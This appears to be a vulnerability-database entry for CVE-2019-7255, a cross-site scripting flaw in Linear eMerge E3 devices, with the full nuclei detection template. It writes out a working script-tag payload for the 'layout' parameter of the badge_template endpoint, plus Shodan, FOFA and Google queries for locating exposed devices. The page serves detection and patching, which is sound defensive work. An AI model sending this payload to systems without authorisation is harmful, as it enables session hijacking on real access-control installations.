CVE-2019-7255· nortekcontrol / linear emerge essential firmware· CWE-79
Linear eMerge E3 - Cross-Site Scripting
mediumseverity
6.1CVSS score
55.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Linear eMerge E3-Series devices are vulnerable to cross-site scripting via the 'layout' parameter.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/badging/badge_template_v0.php?layout=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "Template : <script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2019-7255 -u <target>
The full check
id: CVE-2019-7255
info:
name: Linear eMerge E3 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
Linear eMerge E3-Series devices are vulnerable to cross-site scripting via the 'layout' parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
reference:
- https://www.applied-risk.com/resources/ar-2019-005
- https://applied-risk.com/labs/advisories
- https://packetstormsecurity.com/files/155253/Linear-eMerge-E3-1.00-06-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-7255
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-7255
cwe-id: CWE-79
epss-score: 0.55654
epss-percentile: 0.99045
cpe: cpe:2.3:o:nortekcontrol:linear_emerge_essential_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: nortekcontrol
product: linear_emerge_essential_firmware
shodan-query:
- http.title:"eMerge"
- http.title:"emerge"
fofa-query: title="emerge"
google-query: intitle:"emerge"
tags: cve,cve2019,emerge,xss,packetstorm,nortek,nortekcontrol,vuln
http:
- method: GET
path:
- "{{BaseURL}}/badging/badge_template_v0.php?layout=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Template : <script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://www.applied-risk.com/resources/ar-2019-005
- https://applied-risk.com/labs/advisories
- https://packetstormsecurity.com/files/155253/Linear-eMerge-E3-1.00-06-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-7255
- https://github.com/ARPSyndicate/cvemon
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